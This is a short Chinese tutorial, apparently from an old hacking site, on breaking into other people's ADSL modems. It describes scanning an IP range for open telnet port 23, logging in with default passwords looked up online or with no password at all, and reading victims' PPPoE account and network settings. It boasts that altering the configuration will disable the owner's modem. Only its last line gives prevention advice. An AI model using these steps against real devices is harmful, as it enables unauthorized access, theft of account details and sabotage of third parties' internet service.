密码 一般ADSL Modem需要一个密码登陆设置界面，但这个默认密码经常被公开，而电信局也没有提示用户更改，这样的MODEM给用户留下了一个隐患
破坏 ADSL Modem的设置里经常有些敏感选项，如reset、disconnect、reboot等，一旦这些设置改动，你的Modem也许就“废”了
实例 用任意一个扫描器扫自己所处IP段的23端口，一会儿就会看到一些IP有回应了，现在Telnet上去：
c:\windows\>telnet x.x.x.x 23 Router Manager Console Version: 1.07 Please enter your passWord: 要密码？上Google找一下相关资料，Login~~ Please enter your password: **** User Logged in.
Router Setup>
c:\windows\>telnet x.x.x.x 23
******************* Welcome to Titanium *******************
GlobespanVirata Inc., Software Release VIK-1.37.020524i/T93.3.13. Copyright (c) 2001-2002 by GlobespanVirata, Inc.
login: 又要？再google…… 上面两个都是要默认密码的，不好玩，看看下面的拍案惊奇： c:\windows\>telnet x.x.x.x 23 ISIN 6131R Copyright by ARESCOM 2001 Login SUCcess! 大哥有没有搞错？我没输入Password啊~~~@_@ ISIN>help 先看看帮助
******* Console Help Menu ******* Available Command:
add add objects in talbe connect start the connection delete delete objects in table disconnect disconnect modem connection help display this menu again quit quit the system reboot reboot the router reset reset the configuration, and reboot save save the configuration set set system parameters show display system status test system test upgrade upgrade the firmware via FTP, TFTP and XMODEM
[1] [2] [3]
ISIN>show sysinfo
Vendor: Arescom Model: ISIN 6131R (Hardware) Version: 5.3.08B (Software version) UpTime: 0363:57 (hh:mm)
ISIN>
再看： c:\windows\>telnet x.x.x.x 23
logged on; type `@exit' to close connection. >>help 陌生人记得问路：P Command: adsl - entry to ADSL menu default - set all configuration to factory setting ipoa - entry to IPoA menu lan - entry to Ethernet menu list - list status for enabled PVC manage - entry to management menu mode - exit this menu and change modem mode pat - entry to PAT menu ping - ping IP for testing purpose pppoa - entry to PPPoA menu pppoe - entry to PPPoE menu quick - quick setup r1483 - entry to RFC1483 menu restart - reboot modem rtable - entry to Routing Table menu save - save and restart modem show - display configuration of PVC and Ethernet ver - display software version
Type 'help' or 'help <command>' for more details >> show 看看他有什么秘密？ Ethernet ip: 192.168.1.1 Subnet mask: 255.255.255.0 FullDuplex:Enable
DHCP current setting : disable. DHCP ineffective setting : disable.
PPPoE setting: Function VPI/VCI CLASS UserID/Authentication PPPoE 0/35 ubr bnn*******/CHAP <-------账号 LLC=Disable Echo is disabled
PPPoE IP : 218.21.*.*
[1] [2] [3]
PAT enabled interface: Interface IP address PPPoE 218.21.*.*
PAT incoming table: No. i/f nameWanIP Port/Protocal Server IP 1 pppoe 23/tcp 192.168.1.1
effective routing table: route add ppp_route 0.0.0.0 218.21.*.* 00:00:00:00 1 # MAN via ppp_ device
>> ver
Version : 2.80ZE (2.80ZE-H01.2103-FM11.0507A10Z 24/Jul/2001 14:50)
仅仅这样就掌握了整个MODEM的控制权！只要我修改他的配置，他的MODEM就麻烦了，等电信局的人上门维修吧！
预防 安装防火墙，禁止外部连接，更改ADSL Modem默认密码。
（出处：http://www.sheup.com）